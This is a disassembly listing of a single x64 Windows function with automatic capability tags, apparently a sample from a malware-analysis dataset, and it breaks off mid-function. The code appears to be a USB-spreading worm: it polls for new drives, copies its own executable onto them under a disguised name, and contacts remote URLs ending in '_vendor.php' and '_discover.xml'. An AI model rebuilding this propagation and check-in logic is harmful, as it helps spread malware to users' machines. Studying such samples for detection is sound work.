Function at 0x14000da20
Capabilities:
Check internet connectivity via wininet
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x7b0
mov rax, qword [0x1400d7090]
xor rax, rsp
mov qword [rsp + 0x7a0], rax
xor r12d, r12d
mov dword [rsp + 0x44], r12d
lea rdx, [rsp + 0x1d0]
call fcn.140002cd0
nop
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 8
cmovae rdx, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1e0]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x1d0]
cmovae rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x248]
call fcn.14000a300
nop
lea rdx, [0x1400c9050]
lea rcx, [rsp + 0x228]
call fcn.140007450
nop
mov r8d, 0x104
lea rdx, [rsp + 0x690]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0xf8], r12
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], r12
lea rax, [rsp + 0x690]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14000db03
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0xf8]
call fcn.14000ad60
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, str.https:__www.163.com
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
mov r14d, eax
mov dword [rsp + 0x68], eax
lea rdi, [rsp + 0xf8]
mov r8, qword [rsp + 0xf8]
mov r9, qword [rsp + 0x110]
cmp r9, 0x10
cmovae rdi, r8
mov r10, qword [rsp + 0x108]
add rdi, r10
lea rbx, [rsp + 0xf8]
cmp r9, 0x10
cmovae rbx, r8
cmp rbx, rdi
je 0x14000dbaa
nop
movsx ecx, byte [rbx]
call fcn.14007d24c
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14000db80
mov r9, qword [rsp + 0x110]
mov r10, qword [rsp + 0x108]
mov r8, qword [rsp + 0xf8]
lea rdx, [rsp + 0xf8]
cmp r9, 0x10
cmovae rdx, r8
mov r8, r10
lea rcx, [0x1400d8980]
call fcn.1400122b0
lea rdi, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae rdi, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x108]
cmp rax, 0xf
jb 0x14000dc58
lea rsi, [rdi + rax]
lea r8, [rsi - 0xe]
sub r8, rdi
mov edx, 0x61
mov rcx, rdi
call fcn.140074a70
mov rbx, rax
test rax, rax
je 0x14000dc58
nop dword [rax]
nop word [rax + rax]
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.appdata_roaming
mov rcx, rbx
call fcn.140074af0
test eax, eax
je 0x14000dca2
inc rbx
lea r8, [rsi - 0xe]
sub r8, rbx
mov edx, 0x61
mov rcx, rbx
call fcn.140074a70
mov rbx, rax
test rax, rax
jne 0x14000dc20
lea rdx, str.image_open_n
lea rcx, [0x1400d8980]
call fcn.14000a530
call fcn.14000f4a0
lea rdx, [rsp + 0x190]
call fcn.140002e20
nop
movabs rdx, 0x7fffffffffffffff
mov rax, qword [rsp + 0x1a0]
sub rdx, rax
cmp rdx, 0xe
jb 0x14000f24a
jmp 0x14000ee32
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x14000dc58
lea rdx, str.in_Roaming
lea rcx, [0x1400d8980]
call fcn.14000a530
mov rcx, rax
call fcn.140011890
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x158], xmm1
mov qword [rsp + 0x168], r12
movdqu xmmword [rsp + 0x1f8], xmm1
mov qword [rsp + 0x208], r12
movdqu xmmword [rsp + 0x210], xmm1
mov qword [rsp + 0x220], r12
movabs r14, 0x7fffffffffffffff
movabs r13, 0x7ffffffffffffffe
mov qword [rsp + 0x1b0], r12
mov qword [rsp + 0x1c0], r12
mov qword [rsp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1b0], 0
mov qword [rsp + 0x190], r12
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x190], 0
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x590]
call fcn.1400746b0
lea rdx, [rsp + 0x590]
mov ecx, 0xff
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea rsi, [rsp + 0x590]
mov r8, qword [rsp + 0x160]
cmp byte [rsi], 0
je 0x14000dee7
mov rbx, r15
nop dword [rax]
inc rbx
cmp byte [rsi + rbx], 0
jne 0x14000dda0
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14000ddfc
lea rax, [rcx + rbx]
mov qword [rsp + 0x1a0], rax
lea rdi, [rsp + 0x190]
cmp rdx, 0x10
cmovae rdi, qword [rsp + 0x190]
add rdi, rcx
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.140074000
mov byte [rbx + rdi], 0
jmp 0x14000de17
mov qword [rsp + 0x20], rbx
mov r9, rsi
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x190]
call fcn.14000b180
mov rdi, r15
nop word [rax + rax]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x14000de20
mov rax, qword [rsp + 0x1c8]
cmp rdi, rax
ja 0x14000de67
lea rbx, [rsp + 0x1b0]
cmp rax, 0x10
cmovae rbx, qword [rsp + 0x1b0]
mov qword [rsp + 0x1c0], rdi
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.140074000
mov byte [rbx + rdi], 0
jmp 0x14000de7a
mov r9, rsi
mov rdx, rdi
lea rcx, [rsp + 0x1b0]
call fcn.140011d40
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x14000de80
inc rax
add rsi, rax
mov rax, qword [rsp + 0x160]
cmp rax, qword [rsp + 0x168]
je 0x14000deca
lea rdx, [rsp + 0x1b0]
mov rcx, rax
call fcn.140007780
mov r8, qword [rsp + 0x160]
add r8, 0x20
mov qword [rsp + 0x160], r8
jmp 0x14000dd90
lea r8, [rsp + 0x1b0]
mov rdx, rax
lea rcx, [rsp + 0x158]
call fcn.1400128c0
jmp 0x14000dd88
mov r9, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
cmp r9, rdx
jne 0x14000dfdd
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x210]
call fcn.1400126f0
mov rbx, qword [rsp + 0x158]
mov rdi, qword [rsp + 0x160]
cmp rbx, rdi
je 0x14000df92
nop word [rax + rax]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000df6a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000df65
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f30e
mov rcx, r8
call fcn.14001d650
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rdi
jne 0x14000df30
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x160], rax
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 0x10
jb 0x14000edca
inc rdx
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000edc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f250
jmp 0x14000edc5
mov rcx, r8
mov r10, qword [rsp + 0x158]
sub rcx, r10
sar rcx, 5
mov rax, rdx
sub rax, r9
sar rax, 5
cmp rcx, rax
jne 0x14000e00e
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000df15
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov rdx, r10
lea rcx, [rsp + 0xa0]
call fcn.140012550
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x200]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x80], rax
cmp rax, rcx
je 0x14000df15
mov qword [rsp + 0x138], r12
mov qword [rsp + 0x148], r12
mov qword [rsp + 0x150], r12
mov rsi, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000e09e
mov rsi, qword [rax]
mov rdi, qword [rax + 0x10]
cmp rdi, r14
ja 0x14000f256
mov qword [rsp + 0x150], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x14000e0e0
mov qword [rsp + 0x148], rdi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rsi
lea rcx, [rsp + 0x138]
call fcn.140074000
jmp 0x14000e17f
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x14000e11f
mov rbx, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14001d8c0
mov rcx, rax
test rax, rax
je 0x14000f308
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000e157
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000e148
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000f25b
jmp 0x14000e0fd
test rcx, rcx
je 0x14000e154
call fcn.14001d8c0
jmp 0x14000e157
mov rax, r12
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140074000
nop
lea rdx, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x148]
lea rcx, [0x1400d8980]
call fcn.1400122b0
lea rdx, str.new_drive__n
mov rcx, rax
call fcn.14000a530
mov r8, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x210]
call fcn.1400126f0
lea r14, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
setae r8b
cmovae r14, qword [rsp + 0x138]
add r14, qword [rsp + 0x148]
lea rdi, [rsp + 0x138]
test r8b, r8b
cmovne rdi, qword [rsp + 0x138]
mov rax, r12
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x180], r12
cmp rdi, r14
jne 0x14000e249
mov r13, r12
mov ecx, 7
mov qword [rsp + 0x188], rcx
mov word [rsp + 0x170], r12w
jmp 0x14000e333
mov rsi, r12
mov ebx, 7
mov qword [rsp + 0x188], rbx
mov rcx, r14
sub rcx, rdi
cmp rcx, r13
ja 0x14000f261
cmp rcx, 8
jb 0x14000e2c0
mov rbx, rcx
or rbx, 7
cmp rbx, r13
jbe 0x14000e27f
mov rbx, r13
jmp 0x14000e28c
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
mov rdx, rbx
add rdx, 1
cmovb rdx, r15
lea rcx, [rsp + 0x170]
call fcn.14000bef0
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x188], rbx
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x170]
cmp rbx, 8
cmovae rcx, rax
movsx eax, byte [rdi]
mov word [rcx + rsi*2], ax
mov rsi, qword [rsp + 0x180]
inc rsi
mov qword [rsp + 0x180], rsi
inc rdi
cmp rdi, r14
je 0x14000e304
mov rbx, qword [rsp + 0x188]
mov rax, qword [rsp + 0x170]
jmp 0x14000e2c0
lea rax, [rsp + 0x170]
cmp qword [rsp + 0x188], 8
cmovae rax, qword [rsp + 0x170]
mov word [rax + rsi*2], r12w
mov r13, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x188]
mov r14, qword [rsp + 0x238]
movabs rdx, 0x7ffffffffffffffe
mov rax, rdx
sub rax, r13
cmp rax, r14
jb 0x14000f267
lea r15, [rsp + 0x170]
cmp rcx, 8
setae byte [rsp + 0x40]
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x78], rax
cmovae r15, rax
lea r12, [rsp + 0x228]
cmp qword [rsp + 0x240], 8
cmovae r12, qword [rsp + 0x228]
xor eax, eax
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], rax
lea rsi, [r14 + r13]
mov edi, 7
lea rbx, [rsp + 0x118]
cmp rsi, rdi
jbe 0x14000e459
mov rdi, rsi
or rdi, 7
cmp rdi, rdx
jbe 0x14000e3e3
mov rdi, rdx
movabs rdx, 0x7fffffffffffffff
lea rcx, [rdx + rdx]
jmp 0x14000e413
cmp rdi, 0xa
mov ecx, 0xa
cmovb rdi, rcx
lea rcx, [rdi + 1]
movabs rdx, 0x7fffffffffffffff
cmp rcx, rdx
ja 0x14000f26c
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000e43f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000f271
mov rcx, rax
call fcn.14001d8c0
test rax, rax
je 0x14000f2fc
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000e451
test rcx, rcx
je 0x14000e44e
call fcn.14001d8c0
mov rbx, rax
jmp 0x14000e451
mov rbx, rax
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], rdi
lea rdi, [r13*2]
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call fcn.140074000
lea rcx, [rdi + rbx]
lea r8, [r14 + r14]
mov rdx, r12
call fcn.140074000
xor r14d, r14d
mov word [rbx + rsi*2], r14w
mov r12d, dword [rsp + 0x44]
or r12d, 1
mov dword [rsp + 0x44], r12d
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x128]
call fcn.14000c120
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r14w
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xf0], 7
mov word [rsp + 0xd8], r14w
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae r9, qword [rsp + 0x118]
mov rax, qword [rsp + 0x128]
lea rdx, [rax + rax]
sar rdx, 1
lea rcx, [rsp + 0xd8]
cmp rdx, 7
ja 0x14000e56b
mov qword [rsp + 0xe8], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.140074000
mov word [rsp + rbx + 0xd8], r14w
lea rax, [rsp + 0xd8]
jmp 0x14000e578
mov qword [rsp + 0x20], rdx
xor r8d, r8d
call fcn.14000b030
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140011670
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 8
jb 0x14000e5cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e5c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f277
call fcn.14001d650
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x1f0]
call fcn.14001cc7c
cmp eax, 8
je 0x14000e5fb
cmp eax, 0xffffffff
je 0x14000e5fb
xor bl, bl
jmp 0x14000e5fd
mov bl, 1
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14000e63f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e63a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f27d
call fcn.14001d650
lea rcx, [0x1400d8980]
test bl, bl
je 0x14000eb36
lea rdx, str.png_not_exists_in_drive_so_copy__n
call fcn.14000a530
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
setae r8b
cmovae rdx, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x108]
add rsi, rdx
lea rdi, [rsp + 0xf8]
test r8b, r8b
cmovne rdi, qword [rsp + 0xf8]
mov rax, r14
mov qword [rsp + 0xd8], rax
movabs r15, 0x7ffffffffffffffe
cmp rdi, rsi
jne 0x14000e6d3
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xf0], 7
mov word [rsp + 0xd8], r14w
jmp 0x14000e7c3
mov rdx, r14
mov qword [rsp + 0xe8], rdx
mov ebx, 7
mov qword [rsp + 0xf0], rbx
mov rcx, rsi
sub rcx, rdi
cmp rcx, r15
ja 0x14000f283
cmp rcx, 8
jb 0x14000e760
mov rbx, rcx
or rbx, 7
cmp rbx, r15
jbe 0x14000e711
mov rbx, r15
jmp 0x14000e71e
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
mov rdx, rbx
add rdx, 1
mov rax, 0xffffffffffffffff
cmovb rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14000bef0
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xf0], rbx
mov rdx, qword [rsp + 0xe8]
nop word [rax + rax]
lea rcx, [rsp + 0xd8]
cmp rbx, 8
cmovae rcx, rax
movsx eax, byte [rdi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rsp + 0xe8]
inc rdx
mov qword [rsp + 0xe8], rdx
inc rdi
cmp rdi, rsi
je 0x14000e7a4
mov rbx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xd8]
jmp 0x14000e760
lea rax, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 8
cmovae rax, qword [rsp + 0xd8]
mov word [rax + rdx*2], r14w
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 8
cmovae rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe8]
call fcn.14000c120
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x128]
call fcn.14000c120
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x380]
call fcn.1400746b0
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae rdx, qword [rsp + 0xf8]
mov r8d, 0x20
lea rcx, [rsp + 0x380]
call fcn.140011120
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x380], rdi
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x37c], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x270]
call fcn.1400746b0
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rdx, qword [rsp + 0x118]
lea rcx, [rsp + 0x270]
call fcn.140010bb0
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x270], rbx
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x26c], edx
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x270]
call fcn.140010590
lea rcx, [rsp + 0x278]
call fcn.140011000
test rax, rax
jne 0x14000e96b
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rsp + rcx + 0x2b8], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rsp + rcx + 0x280]
and eax, 0x17
mov dword [rsp + rcx + 0x280], eax
mov edx, dword [rsp + rcx + 0x284]
and edx, eax
jne 0x14000f289
cmp dword [rsp + 0x68], 0
je 0x14000e9dc
mov rax, r15
mov rcx, qword [rsp + 0x1e0]
sub rax, rcx
cmp rax, 0xd
jb 0x14000f2e5
lea r9, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 8
cmovae r9, qword [rsp + 0x1d0]
mov qword [rsp + 0x30], reloc.WS2_32.dll_listen
lea rax, str._discover.xml
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x48]
call fcn.14000be20
or r12d, 4
mov dword [rsp + 0x44], r12d
lea rdx, [rsp + 0x48]
call fcn.140014a30
nop
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x270], rbx
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x26c], edx
lea rcx, [rsp + 0x278]
call fcn.140010240
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x270], rax
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x26c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rsp + 0x318], rbx
lea rcx, [rsp + 0x318]
call fcn.14001cdf0
nop
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x380], rdi
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x37c], edx
lea rcx, [rsp + 0x390]
call fcn.140010240
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x380], rax
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x37c], edx
mov qword [rsp + 0x430], rbx
lea rcx, [rsp + 0x430]
call fcn.14001cdf0
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 8
jb 0x14000ebb9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f2eb
call fcn.14001d650
jmp 0x14000ebb9
lea rdx, str.png_already_there_n
call fcn.14000a530
cmp dword [rsp + 0x68], 0
je 0x14000ebb9
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rsp + 0x1e0]
sub rax, rcx
cmp rax, 0xb
jb 0x14000f2f1
lea r9, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 8
cmovae r9, qword [rsp + 0x1d0]
mov qword [rsp + 0x30], recvfrom
lea rax, str._vendor.php
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x48]
call fcn.14000be20
or r12d, 2
mov dword [rsp + 0x44], r12d
lea rdx, [rsp + 0x48]
call fcn.140014a30
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xf0], r14
lea rdi, [rsp + 0x170]
movzx esi, byte [rsp + 0x40]
test sil, sil
mov rbx, qword [rsp + 0x78]
cmovne rdi, rbx
movabs rax, 0x7ffffffffffffffe
cmp r13, rax
ja 0x14000f2f6
mov qword [rsp + 0xf0], 7
cmp r13, 8
jae 0x14000ec2f
mov qword [rsp + 0xe8], r13
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rdi
lea rcx, [rsp + 0xd8]
call fcn.140074000
jmp 0x14000ec8e
mov rbx, r13
or rbx, 7
cmp rbx, rax
jbe 0x14000ec40
mov rbx, rax
jmp 0x14000ec4d
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0xd8]
call fcn.14000bef0
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xf0], rbx
lea r8, [r13*2 + 2]
mov rdx, rdi
mov rcx, rax
call fcn.140074000
mov rbx, qword [rsp + 0x78]
lea rdx, [rsp + 0xd8]
lea rcx, [0x1400da430]
call fcn.1400048c0
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 8
jb 0x14000eceb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ece6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f2fc
call fcn.14001d650
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], 7
mov word [rsp + 0x118], r14w
test sil, sil
je 0x14000ed4b
mov rdx, qword [rsp + 0x188]
lea rdx, [rdx*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000ed42
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f302
mov rcx, rbx
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 0x10
jb 0x14000ed8e
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ed89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f308
call fcn.14001d650
mov rax, qword [rsp + 0x80]
add rax, 0x20
mov rcx, qword [rsp + 0x88]
mov r15, 0xffffffffffffffff
movabs r14, 0x7fffffffffffffff
xor r12d, r12d
movabs r13, 0x7ffffffffffffffe
jmp 0x14000e068
call fcn.14001d650
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x190], 0
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 0x10
jb 0x14000dd10
inc rdx
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ee28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f314
call fcn.14001d650
jmp 0x14000dd10
lea r9, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 0x10
cmovae r9, qword [rsp + 0x190]
mov qword [rsp + 0x30], sendto
lea rcx, str.youdaogui.exe
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x1b0]
call fcn.14000bf60
nop
mov qword [rsp + 0x48], r12
movdqa xmm0, xmmword [0x1400c9770]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r12w
mov qword [rsp + 0x138], r12
movdqu xmmword [rsp + 0x148], xmm0
mov word [rsp + 0x138], r12w
lea rcx, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 0x10
cmovae rcx, qword [rsp + 0x1b0]
lea rdx, [rsp + 0x380]
call fcn.14001cd34
test eax, eax
je 0x14000f31a
lea rax, [rsp + 0x380]
nop
inc r15
cmp word [rax + r15*2], 0
jne 0x14000eee0
mov r8, r15
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x138]
call fcn.140008950
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140011670
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 8
jb 0x14000ef5a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f327
call fcn.14001d650
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x1f0]
call fcn.14001cc7c
cmp eax, 8
je 0x14000ef8e
cmp eax, 0xffffffff
je 0x14000ef8e
lea rcx, [rsp + 0x48]
call fcn.140007340
jmp 0x14000f00d
lea rcx, [rsp + 0x48]
call fcn.140007340
lea rcx, [0x1400d8980]
test r14d, r14d
je 0x14000efe6
lea rdx, str.internet_n
call fcn.14000a530
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x48]
call fcn.140007780
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 8
cmovae rdx, qword [rsp + 0x1d0]
mov r8, rax
call fcn.140014dd0
jmp 0x14000f00d
lea rdx, str.no_internet_n
call fcn.14000a530
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x48]
call fcn.140007540
mov rdx, rax
call fcn.140002ed0
nop
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 0x10
jb 0x14000f050
inc rdx
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f04b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f32d
call fcn.14001d650
movdqa xmm0, xmmword [0x1400c9780]
movdqu xmmword [rsp + 0x1c0], xmm0
mov byte [rsp + 0x1b0], 0
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 0x10
